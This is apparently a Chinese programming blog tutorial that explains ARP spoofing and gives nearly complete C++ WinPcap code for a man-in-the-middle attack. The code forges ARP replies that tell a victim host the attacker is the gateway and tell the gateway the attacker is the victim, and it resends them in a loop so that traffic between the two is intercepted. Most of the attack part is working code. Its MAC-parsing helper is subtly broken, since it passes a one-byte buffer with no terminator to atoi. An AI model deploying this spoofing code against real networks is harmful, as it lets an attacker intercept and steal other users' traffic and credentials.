• 【网络编程4】网络编程基础-ARP响应(ARP欺骗之中间人攻击)


    arp欺骗->arp响应

    ARP 缓存中毒(ARP欺骗)

    arp传送原理在于主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间。

    攻击者可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。

    arp欺骗之所以有效,是因为特意构造的ARP数据包使两台主机相信它们是在互相通信,而实际上它们是在与一个中间转发数据包的第三方通信。

    C++编程中实现操作arp数据包发送给被欺者主机和网关的操作可以通过winpacap这个第三方库对数据包构造和发送,可以使被欺骗主机误以为自己是在与网关通信,网关误以为自己是在跟被欺骗主机通信,而攻击者可以从中截获被欺骗主机的数据,实现中间人攻击。

    Winpcap简介

    winpcap(windows packet capture)是windows平台下一个免费,公共的网络访问系统。开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它用于windows系统下的直接的网络编程。

    Winpcap 功能

    • 捕获原始数据包,包括在共享网络上各主机发送/接收的以及相互之间交换的数据包;

    • 在数据包发往应用程序之前,按照自定义的规则将某些特殊的数据包过滤掉;

    • 在网络上发送原始的数据包;

    • 收集网络通信过程中的统计信息。

    VS2015配置Winpcap

    使用之前需要在VS2015配置项目的依赖,否则很多东西跑不起来。

    1、添加包含与库目录

    在库目录中选择安装好的WinCap目录下的Lib目录:

    image

    选择VC++目录,在包含目录中添加安装好的WinCap目录下的include目录:
    在库目录中选择安装好的WinCap目录下的Lib目录:

    image

    2 附加依赖项

    在连接器下选择输入,在附加依赖项中添加ws2_32.lib、wpcap.lib、Packet.lib:

    image

    3 预处理器定义

    项目右键,选择属性选择C/C++->预处理器,在预处理器定义中添加WPCAP和HAVE_REMOTE,如图:

    image

    编程实例代码

    1 首先获取网卡列表

    做arp发送数据包前首先要确定在哪个网卡适配器上做相关的操作;

    初始化函数中涉及到以下几个函数的使用,以下是几个函数的功能和说明:

    • int pcap_findalldevs(pcap_if_t **, char *)

    说明:用来获得网卡的列表

    参数: 指向pcap_if_t**类型的列表的指针的指针;

    char型指针,当打开列表错误时返回错误信息

    返回值: 为int型,当显示列表失败时返回-1

    pcap_if_t 是pcap_if 重命名而来:

    typedef struct pcap_if pcap_if_t;

    pcap_if结构体如下:

    struct pcap_if
    {
    	struct pcap_if *next; 		/*多个网卡时使用来显示各个网卡的信息*/
    	char *name;			/* name to hand to "pcap_open_live()" */
    	char *description; 		/* textual description of interface, or NULL 就是网卡的型号、名字等*/
    	struct pcap_addr *addresses;	/*pcap_addr 结构体 */
     	bpf_u_int32 flags; 		/* PCAP_IF_ interface flags 接口标志*/
    };
    

    pcap_addr 结构体如下:

    struct pcap_addr
    {
    	struct pcap_addr *next;
    	struct sockaddr *addr; 		/* address */
    	struct sockaddr *netmask; 		/* netmask for that address 子网掩码*/
    	struct sockaddr *broadaddr; 	/* broadcast address for that address 广播地址*/
    	struct sockaddr *dstaddr; 		/* P2P destination address for that address P2P目的地址*/
    };
    
    • pcap_t *pcap_open_live(const char * device, int snaplen, int promisc, int to_ms, char ebuf *)

    说明:被用来得到一个包抓取得描述符

    参数:
    device是一个指出要抓取的网络设备的字符串。

    snaplen指明最大可抓取的字节长度。

    promisc置位表明该接口要被设置成混杂模式。

    to_ms以毫秒为单位设置超时时间。当在超时时间内网卡上没有数据到来时对网卡的读操作将返回(如 pcap_dispatch() or pcap_next_ex()等函数)。

    ebuf被用来存放当pcap_open_live()调用失败时,返回的错误字符串。

    返回值: pcap_t型的指针,供pcap_dispatch() or
    pcap_next_ex()等函数调用。

    pcap_t的结构体:

    struct pcap {
    	#ifdef WIN32
    		ADAPTER *adapter;
    		LPPACKET Packet;
    		int timeout;
    		int nonblock;
    	#else
    		int fd;
    	#endif
    	int snapshot;
    	int linktype;
    	int tzoff; /* timezone offset */
    	int offset; /* offset for proper alignment */
    	struct pcap_sf sf;
    	struct pcap_md md;
    	int bufsize; /* Read buffer. */
    	u_char *buffer;
    	u_char *bp;
    	int cc; //Place holder for pcap_next().
    	u_char *pkt; //Placeholder for filter code if bpf not in kernel.
    	struct bpf_program fcode;
    	char errbuf[PCAP_ERRBUF_SIZE + 1];
    	int dlt_count;
    	int *dlt_list;
    	#ifdef REMOTE
    	/*! rief '1' if we're the network client; needed by several functions (like pcap_setfilter() ) to know if
    	they have to use the socket or they have to open the local adapter. */
    		int rmt_clientside;
    		SOCKET rmt_sockctrl; //!< socket ID of the socket used for the control connection
    		SOCKET rmt_sockdata; //!< socket ID of the socket used for the data connection
    		pthread_t rmt_threaddata; //!< handle to the receiving thread, we need to kill it in case of 'pcap_clos()'
    		int rmt_flags; //!< we have to save flags, since they are passed by the pcap_open_live(), but they are used by the pcap_start capture()
    		int rmt_capstarted; //!< 'true' if the capture is already started (needed to knoe if we have to call the pcap_startcapture()
    		struct pcap_pkthdr pcap_header; //!< In Linux, you have to copy the packet headers another time before giving them to the user
    	#endif
    };
    
    • void pcap_freealldevs(pcap_if_t *)

    说明:与int pcap_findalldevs(pcap_if_t **, char *)配套使用,当不再需要网卡列表时,用此函数free释放空间
    参数:打开网卡列表时申请的pcap_if_t型的指针,语法如下:

    pcap_freealldevs(alldevs);
    
    • pcap_geterr()

    返回最后一次pcap库错误的文本信息

    获取设备名称

    获得网卡接口。在普通的SOCKET编程中,对双网卡编程是不行的。即使当主机为双网卡时,也需要分别获得两张网卡各自的描述结构及地址,然后分别进行操作。

    
    //获取网卡列表
    pcap_t * init()
    {
    	pcap_if_t *alldevs;
    	pcap_if_t *d;
    	int inum;
    	int i = 0;         //网卡数量
    	pcap_t *adhandle;
    	char errbuf[PCAP_ERRBUF_SIZE];
    
    	/* Retrieve the device list */
    	//获取当前网卡列表
    	if (pcap_findalldevs(&alldevs, errbuf) == -1) 
    	{
    		fprintf(stderr, "Error in pcap_findalldevs: %s
    ",errbuf);
    		exit(1);
    	}
    	//打印网卡的列表
    	for (d = alldevs; d; d= d->next)
    	{
    		printf("%d. %s",++i,d->name);
    		//如果有网卡就打印出来
    		if (d->description)
    		{
    			printf("(%s)
     ",d->description);
    		}
    		else 
    		{
    			printf(" (No description available)
     ");
    		}
    
    	}
    	
    	if (i==0)
    	{
    		printf("
    No interfaces found! Make sure WinPcap is installed.
    ");
    		return 0;
    	}
    	printf("Enter the interface number (1-%d):", i);
    	scanf("%d", &inum);
    
    
    	if (inum < 1 || inum > i)
    	{
    		printf("
    Interface number out of range.
    ");
    		/* Free the device list */
    		pcap_freealldevs(alldevs);
    		return 0;
    	}
    
    	//跳转到所选择的适配器
    	for (d = alldevs , i = 0; i<inum - 1 ; d = d->next,i++)
    
        //打开所选的网卡适配器
    	if ((adhandle = pcap_open_live(d->name,   //适配器的名称
    		65535,                                //捕获的数据包的部分。
    		                                      //65535是捕获所有流经的数据包,所有的数据包通过都产生端口
    		1,
    		1000,                                 //读取超时时间
    		errbuf                                //错误缓存
    		))
    		== NULL)
    	{
    		fprintf(stderr, "
    Unable to open the adapter. %s is not supported by WinPcap
    ", d->name);
    		/* Free the device list */
    		pcap_freealldevs(alldevs);
    		return 0;
    	}
    
    	printf("
    listening on %s...
    ", d->description);
    
    	/* At this point, we don't need any more the device list. Free it */
    	//当监控某个网卡适配器后,就释放其他的,因为用不到了
    	pcap_freealldevs(alldevs);
    
    	return adhandle;
    
    }
    
    

    定义数据结构体

    根据ARP协议中的数据包写结构体,用于存放arp数据包的信息;

    
    //作用:调整结构体的边界对齐,让其以一个字节对齐;
    #pragma pack(push, 1)  //使结构体按1字节方式对齐
    
    
    //以太网头部(14字节)
    #define EPT_IP 0x0800       // eh_type: IP 
    #define EPT_ARP 0x0806      // eh_type: ARP 
    #define EPT_RARP 0x8035     // eh_type: RARP 
    typedef struct eh_hdr
    {
    	UCHAR eh_dst[6];        // 接收方MAC地址 
    	UCHAR eh_src[6];        // 发送方MAC地址 
    	USHORT eh_type;         // 上层协议类型 
    }EH_HEADR, *P_EH_HEADR;
    
    //arp应答/请求(28字节)
    #define ARP_HARDWARE 0x0001  // arp_hrd:以太网
    #define ARP_REQUEST 0x0001   // arp_op: 请求 request 
    #define ARP_REPLY 0x0002     // arp_op: 应答 reply 
    typedef struct arp_hdr
    {
    	USHORT arp_hrd;          // 硬件类型 
    	USHORT arp_pro;          // 协议类型 
    	UCHAR  arp_hln;          // 硬件(MAC)地址长度 
    	UCHAR  arp_pln;          // 协议(IP )地址长度 
    	USHORT arp_op;           // 包类型:请求、应答
    	UCHAR  arp_sha[6];       // 发送发硬件地址 (应答时,此处可欺骗)
    	ULONG  arp_spa;          // 发送方协议地址 (应答时,此处可欺骗)
    	UCHAR  arp_tha[6];       // 接收方硬件地址 (请求时,此处无用)
    	ULONG  arp_tpa;          // 接收方协议地址 
    }ARP_HEADR, *P_ARP_HEADR;
    
    
    //ARP协议栈
    typedef struct arp_Packet
    {
    	EH_HEADR ehhdr;
    	ARP_HEADR arphdr;
    } ARP_PACKET, *P_ARP_PACKET;
    
    
    

    初始化arp数据包信息

    函数名称: makeArpPacket
    函数功能: 初始化攻击者与被攻击者的数据包信息

    参数列表:

    ARP_PACKET & ARPPacket:

    char * srcMac: 攻击者MAC

    char * srcIP: 攻击者IP

    char * dstMac: 被欺骗机器的MAC地址

    char * dstIP 被欺骗机器的IP

    返回值: void

    makeArpPacket()函数主要的功能是为了让攻击者IP、MAC的处理代码能与被欺骗主机的代码定义数据结构然后复用代码,减少代码量。

    
    void makeArpPacket(ARP_PACKET &ARPPacket,char * srcMac, char * srcIP, char * dstMac, char * dstIP)
    {
        UCHAR MacAddr[6] = { 0 };
    
        //以太网头
        ChangeMacAddr(dstMac, ARPPacket.ehhdr.eh_dst);   //目的MAC地址
        ChangeMacAddr(srcMac, ARPPacket.ehhdr.eh_src);   //源MAC地址。
        ARPPacket.ehhdr.eh_type = htons(EPT_ARP);        //数据类型ARP请求或应答
    
        //ARP头                                     
        ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);  //硬件地址为0x0001表示以太网地址
        ARPPacket.arphdr.arp_pro = htons(EPT_IP);        //协议类型字段为0x0800表示IP地址
        ARPPacket.arphdr.arp_hln = 6;                    //硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,
        ARPPacket.arphdr.arp_pln = 4;                    //以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。
        ARPPacket.arphdr.arp_op = htons(ARP_REPLY);      //ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4
        ChangeMacAddr(srcMac, ARPPacket.arphdr.arp_sha); //发送方 源MAC地址(欺骗的MAC地址)
        ARPPacket.arphdr.arp_spa = inet_addr(srcIP);     //发送方 源IP地址 (欺骗的MAC地址)
        ChangeMacAddr(dstMac, ARPPacket.arphdr.arp_tha); //目标的MAC地址 
        ARPPacket.arphdr.arp_tpa = inet_addr(dstIP);     //目标的IP地址  
    }
    
    将MAC地址转换十六进制
    
    void ChangeMacAddr(char *p, UCHAR a[])      //把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址
    {
        char* p1 = NULL;
        int i = 0;
        int high, low;
        char temp[1];
        for (i = 0; i < 6; i++)
        {
            p1 = p + 1;
            switch (*p1) //计算低位的16进进制
            {
            case 'A': low = 10;        break;
            case 'B': low = 11;        break;
            case 'C': low = 12;        break;
            case 'D': low = 13;        break;
            case 'E': low = 14;        break;
            case 'F': low = 15;        break;
            default: temp[0] = *p1;
                low = atoi(temp); //如果为数字就直接转变成对应的数值
            }
    
            switch (*p) //计算高位的16进制
            {
            case 'A': high = 10;       break;
            case 'B': high = 11;       break;
            case 'C': high = 12;       break;
            case 'D': high = 13;       break;
            case 'E': high = 14;       break;
            case 'F': high = 15;       break;
            default: temp[0] = *p;
                high = atoi(temp); //如果为数字就直接转变成对应的数值
            }
            p += 2; //指针指向下一个X(高)X(低)字符串
    
            a[i] = high * 16 + low; //求和得16进制值
        }
    }
    
    

    发送数据包

    涉及到发送arp数据包的函数;

    • int pcap_sendpacket(pcap_t *p, u_char *buf, int size)

    说明:手工发送一个数据包了。这个函数需要的参数:一个装有要发送数据的缓冲区,要发送的长度,和一个适配器。注意缓冲区中的数据将不被内核协议处理,只是作为最原始的数据流被发送,所以我们必须填充好正确的协议头以便正确的将数据发送。

    参数:

    p是打开网卡时返回的网卡指针

    buf是发送数据包的内容缓冲区首地址

    size是发送数据包的大小

    void sendArpPacket(pcap_t * fp, ARP_PACKET &ARPPacket)
    {
        /* Send down the packet */
        if (pcap_sendpacket(fp,	            // Adapter
            (const u_char *)&ARPPacket,		// buffer with the packet
            sizeof(ARPPacket)		        // size
            ) != 0)
        {
            fprintf(stderr, "
    Error sending the packet: %s
    ", pcap_geterr(fp));
            return;
        }
    
    }
    

    利用WinPcap,分别向被欺骗主机和网关发送APR请求包,达到同时欺骗目标主机和网关的目的;让所有目标主机和网关之间的数据都会被我们劫持。

    main()函数代码

    • void pcap_close ( pcap_t * p )

    关闭连接和释放资源的函数

    主要的代码

    int main(int argc, char* argv[])
    {     
        
        //1.初始化网络环境
        pcap_t * adhandle = init();
    
        //2.填充数据包
        ARP_PACKET ARPPacket_A = { 0 }; //arp包 欺骗目标
        ARP_PACKET ARPPacket_B = { 0 }; //arp包 欺骗网关
        
        //00105CAD72E3 这个mac地址是攻击者的地址
        
        //欺骗受害者,我是网关
        makeArpPacket(ARPPacket_A, "00105CAD72E3", "192.168.1.1"  , "00055DE80FA3", "192.168.1.31");
        //欺骗网关,我是受害者
        makeArpPacket(ARPPacket_B, "00105CAD72E3", "192.168.1.31", "000C29019827", "192.168.1.1");  
    
    
        while (true)
        {
            //3.发送数据包
            sendArpPacket(adhandle, ARPPacket_A);
            sendArpPacket(adhandle, ARPPacket_B);
            printf("send OK ! 
    ");
            Sleep(3000);
        }
    
        pcap_close(adhandle);
        return 0;
    }
    
    

    参考连接:

    WinpCap的详解

    http://www.cnblogs.com/yingfang18/category/270376.html

    WinPcap 模块 中文手册

    http://www.ferrisxu.com/WinPcap/html/modules.html

    winpcap编程函数介绍

    http://www.voidcn.com/blog/xkjcf/article/p-5823189.html

    基于WinPcap的ARP欺骗

    http://hognfeiyu.me/2016/01/12/arp-attack/

    arp 欺骗的技术原理及应用<首发于黑客防线2003年11期>

    http://www.cppblog.com/mejy/articles/32901.html

  • 相关阅读:
    linux-kernel邮件列表订阅出错,提示命令不能识别---解决方案
    MD5(单向散列算法)原理分析
    win32汇编跳转指令用法
    (转载)c/c++优先级列表
    linux man手册各个章节的意义
    如何解决dpkg: error processing install-info
    python魔法函数(常见)
    redis 哈希封装
    数据库去重
    抖音破解字体加密
  • 原文地址:https://www.cnblogs.com/17bdw/p/6193435.html
Copyright © 2020-2023  润新知